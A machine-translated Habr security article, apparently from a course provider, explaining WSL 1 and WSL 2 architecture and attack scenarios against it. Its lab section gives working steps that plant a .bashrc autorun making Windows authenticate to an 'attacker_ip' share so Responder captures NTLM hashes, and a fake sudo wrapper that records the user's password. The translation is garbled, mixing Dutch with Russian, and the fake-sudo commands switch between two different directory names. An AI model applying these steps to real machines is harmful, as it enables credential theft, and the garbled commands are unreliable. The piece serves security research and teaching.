Hallo, habr! OTUS lanceert in oktober een nieuwe cursusstream . Vooruitlopend op de start van de cursus delen we met u een artikel geschreven door een van onze docenten, Alexander Kolesnikov.
In 2016 introduceerde Microsoft de nieuwe WSL-technologie aan de IT-gemeenschap (Winduwen Ssubsysteem voor Linux), dat het in de toekomst mogelijk maakte om voorheen onverenigbare concurrenten te verenigen die vochten voor populariteit onder zowel gewone als geavanceerde besturingssysteemgebruikers: Windows en Linux. Deze technologie maakte het mogelijk om Linux OS-tools in een Windows-omgeving te gebruiken zonder dat Linux hoefde te draaien, bijvoorbeeld met behulp van Multi-boot. Op Habr vindt u een groot aantal artikelen waarin de voordelen van het gebruik van WSL worden beschreven. Helaas zijn er op het moment dat dit artikel werd gemaakt op deze bron geen studies gevonden over de veiligheid van een dergelijke symbiose van besturingssystemen. Dit bericht zal een poging zijn om dit te corrigeren. In het artikel worden de kenmerken van de WSL 1- en 2-architecturen besproken en worden verschillende voorbeelden onderzocht van aanvallen op systemen die deze technologieën gebruiken. Het artikel is verdeeld in 2 delen. De eerste zal de belangrijkste theoretische aanvalsmethoden van Linux en Windows beschrijven. Het tweede artikel gaat over het opzetten van een testomgeving en het reproduceren van de aanvallen.
WSL 1: architectonische kenmerken
Voor de meest nauwkeurige duik in WSL-beveiligingsproblemen is het noodzakelijk om de belangrijkste nuances te bepalen die verband houden met de implementatie van het subsysteem. Een van de belangrijkste gebruikerstaken die door WSL worden opgelost, is de mogelijkheid om via een Linux-terminal te werken op een host met Windows OS. Bovendien was de aangeboden compatibiliteit zo native dat Linux executables (ELF's) rechtstreeks op een Windows-systeem konden worden uitgevoerd. Om deze doelen te bereiken is in Windows 10 een speciaal subsysteem gemaakt waarmee je Linux-applicaties kunt uitvoeren met behulp van een reeks specifieke systeemaanroepen. Er is dus een poging gedaan om een reeks Linux-systeemaanroepen op Windows toe te wijzen. Dit werd fysiek geïmplementeerd door het toevoegen van nieuwe drivers en een nieuw procesformat. Visueel zag de architectuur er als volgt uit:
In feite werd de interactie met het Linux-besturingssysteem georganiseerd via verschillende kernelmodules en een speciaal type proces: pico. Uit het bovenstaande diagram kunt u zien dat het proces dat op de Linux-instantie op de host wordt uitgevoerd, native moet zijn en dezelfde bronnen moet gebruiken als gewone Windows-applicaties. Maar hoe bereik je dit? Op projectbasis Er werden procesconcepten voor Windows ontwikkeld die alle noodzakelijke componenten van het besturingssysteem (afhankelijk van de versie) voorzagen om een applicatie van een ander besturingssysteem te laten draaien.
Merk op dat de voorgestelde abstractie het mogelijk maakte om niet te focussen op het besturingssysteem (in het bijzonder Windows), waarin naar verwachting het proces van een ander besturingssysteem zal starten, en een algemene aanpak suggereerde.
Elke applicatie binnen het pico-proces zou dus kunnen draaien zonder rekening te houden met de Windows-kernel:
- Problemen met compatibiliteit en vertaling van systeemoproepen moeten worden opgelost door speciale providers;
- Toegangscontrole moet worden gedaan via de Security Monitor. De monitor bevindt zich in de kernel en daarom had Windows een upgrade nodig in de vorm van een nieuwe driver die als provider voor dergelijke processen zou kunnen fungeren. Het prototype picoproces wordt hieronder schematisch weergegeven:
Omdat het Linux-bestandssysteem hoofdlettergevoelige bestands- en mapnamen gebruikt, zijn er 2 typen bestandssystemen aan Windows toegevoegd om met WSL te werken: VolFS en DriveFS. VolFS is een implementatie van het Linux-bestandssysteem, DriveFS is een bestandssysteem dat werkt volgens de Windows-regels, maar de mogelijkheid heeft om hoofdlettergevoeligheid te selecteren.
WSL 2
WSL 1 had een aantal beperkingen waardoor het niet kon worden gebruikt om het maximale aantal taken op te lossen: het had bijvoorbeeld niet de mogelijkheid om 32-bit Linux-applicaties uit te voeren en het was onmogelijk om apparaatstuurprogramma's te gebruiken. Daarom werd in 2020 WSL 2 uitgebracht, waardoor de aanpak voor het bouwen van het subsysteem veranderde. WSL 2 is een geoptimaliseerde virtuele machine die overeenkomt met de kenmerken van het resourceverbruik van WSL 1. Afhankelijk van de problemen die door de Windows OS-gebruiker zijn opgelost, kunt u nu de vereiste versie van het Linux-subsysteem selecteren. Om mogelijke kwetsbaarheden te mitigeren, is WSL 2 geïmplementeerd op basis van Hyper-V in Windows 10. In deze vorm heeft Windows de mogelijkheid om de Linux-besturingssysteemkernel geïsoleerd te laten draaien. Het is de moeite waard om te onthouden dat versie 1 van WSL werd geïntroduceerd als een bètafunctie die de richting van de Windows-ontwikkeling op dit gebied moest laten zien, dus de overgang naar Hyper-V was onvermijdelijk. De uiteindelijke architectuur ziet er als volgt uit:
In deze versie hebben de Windows- en Linux-kernels hun eigen bronnen en bestaat de kruising alleen in het bestandssysteem, maar deze kruising is niet compleet. Interactie tussen bestandssystemen wordt uitgevoerd via een client-server-wrapper die werkt met behulp van het 9P-protocol.
Tegenwoordig biedt Microsoft de mogelijkheid om te schakelen tussen WSL 1 en WSL 2. Beide versies zijn beschikbaar voor gebruik.
WSL-beveiliging
Op dit moment zijn er verschillende werken die enkele benaderingen beschrijven van het gebruik van legitieme OS-tools om de communicatie tussen subsystemen aan te vallen. We zullen hun scripts gebruiken om de relevantie van de aanvallen te controleren op het moment dat dit wordt geschreven. Algemene lijst met aanvallen en scenario's:
1. Implementatie van bestandssystemen: toegangsrechten, beschikbaarheid van gedeelde mappen/mechanismen voor gegevensuitwisseling.
Er is onderzoek gedaan naar overtredingen van de toegangsregels Linux FS->Windows FS, Windows FS->Linux FS. Onderzoek heeft de mogelijkheid aangetoond om een bepaald bestand binnen het doelbesturingssysteem te wijzigen. Er zijn ook pogingen ondernomen om de bestandssystemen te vervangen, duplicaten te maken en een deel ervan te verwijderen.
Scenario:
- A. Aanval vanuit het Windows-besturingssysteem - wijziging van bestanden uit de map /etc van het Linux-besturingssysteem.
- B. Aanval vanuit het Linux-besturingssysteem - wijziging van bestanden in mappen:
C:Windows,C:Program Files,C:Users<User>
2. Implementatie van de netwerkstack.
Het onderzoek is uitgevoerd aan de hand van voorbeelden van aanvallen van het Linux-besturingssysteem op Windows. Er werd gebruik gemaakt van de kenmerken van de netwerkstack, namelijk authenticatiemechanismen op verschillende bronnen.
Scenario:
- Toegang openen tot een poort die bezet is op een Windows-systeem
- Een poort openen zonder de juiste rechten
- Reverse shell uitvoeren met elf-bestand op Windows-besturingssysteem.
3. Het verbergen van de lancering van kwaadaardige softwareprocessen met behulp van het WSL-subsysteem.
Het onderzoek was gebaseerd op een simpel feit: beveiligingssubsystemen kunnen in het geval van WSL 1 geen gebeurtenissen onderscheppen in een andere kernel die werkt met behulp van een legitieme provider van het besturingssysteem. In het geval van WSL 2 is er geen manier om gebeurtenissen te bekijken die plaatsvinden in een aparte kernel binnen een lichtgewicht virtuele machine.
Scenario:
1) Start de applicatie voor externe toegang tot het systeem en bekijk de geregistreerde gebeurtenissen.
WSL 1-experimenten: hash-onderschepping (Windows)
Eindelijk kwamen we bij het praktische gedeelte. Eerst moet u de testomgeving opzetten. Alle experimenten zullen worden uitgevoerd op een bank met geïnstalleerde Windows 10 2004. De Ubuntu 18.04-image werd gekozen als de besturingssysteemimage voor WSL. De afbeelding is willekeurig gekozen en alle andere werken hetzelfde. Commando's voor het opzetten van een stand:
Je moet eerst lanceren powershell.exe als beheerder.
Voor WSL 1 moet u de opdrachten uitvoeren:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Nadat u de standaard opnieuw hebt opgestart, kunt u het bash-commando oproepen. Als alles correct werkte, ziet u een soortgelijke uitvoer in de Windows-console:
We zullen de Kali Linux-distributie gebruiken als de machine van de aanvaller; alle machines moeten zich op hetzelfde lokale netwerk bevinden.
Laten we aannemen dat we onbevoegde toegang hebben tot WSL op een Windows-computer. Laten we proberen het Linux-besturingssysteem aan te vallen door een commando vanuit Linux aan te roepen. Om de aanval te implementeren, zullen we een eenvoudige autorun-techniek gebruiken - we zullen ons script toevoegen voor uitvoering in de Linux-omgeving. Om dit te doen, moet u het bestand wijzigen .bashrc.
Op een machine met WSL voeren we het volgende uit:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitOp een Kali Linux-machine draaien we:
1. Responder -I eth0 -rdvwLaten we op een Windows-computer bash starten.
We wachten op het resultaat op de Kali Linux-machine:
We hebben dus de Windows-gebruikershashes verkregen via het WSL-subsysteem door de opdracht op het Linux-systeem uit te voeren.
WSL 1-experimenten: gebruikerswachtwoord verkrijgen (Linux OS)
Laten we nog een experiment doen. Tijdens deze controle vullen wij het bestand aan .bashrc verschillende opdrachten om het gebruikerswachtwoord van het Linux-besturingssysteem te verkrijgen.
Laten we bash starten en de commando's invoeren:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Om de aanval succesvol te voltooien, moet de gebruiker Sam sudo aanroepen in de Linux-terminal. Hierna staat het Linux OS-gebruikerswachtwoord in het bestand pass.txt:
De implementatie van de aanvallen werd uitsluitend ter theoretische informatie gegeven.
Het volgende deel van het artikel beschrijft de implementatie van het 9P-protocol, overweegt de creatie van een scanner voor dit protocol en voert er ook een aanval mee uit.
Lijst met gebruikte literatuur
Lees verder
Bron: www.habr.com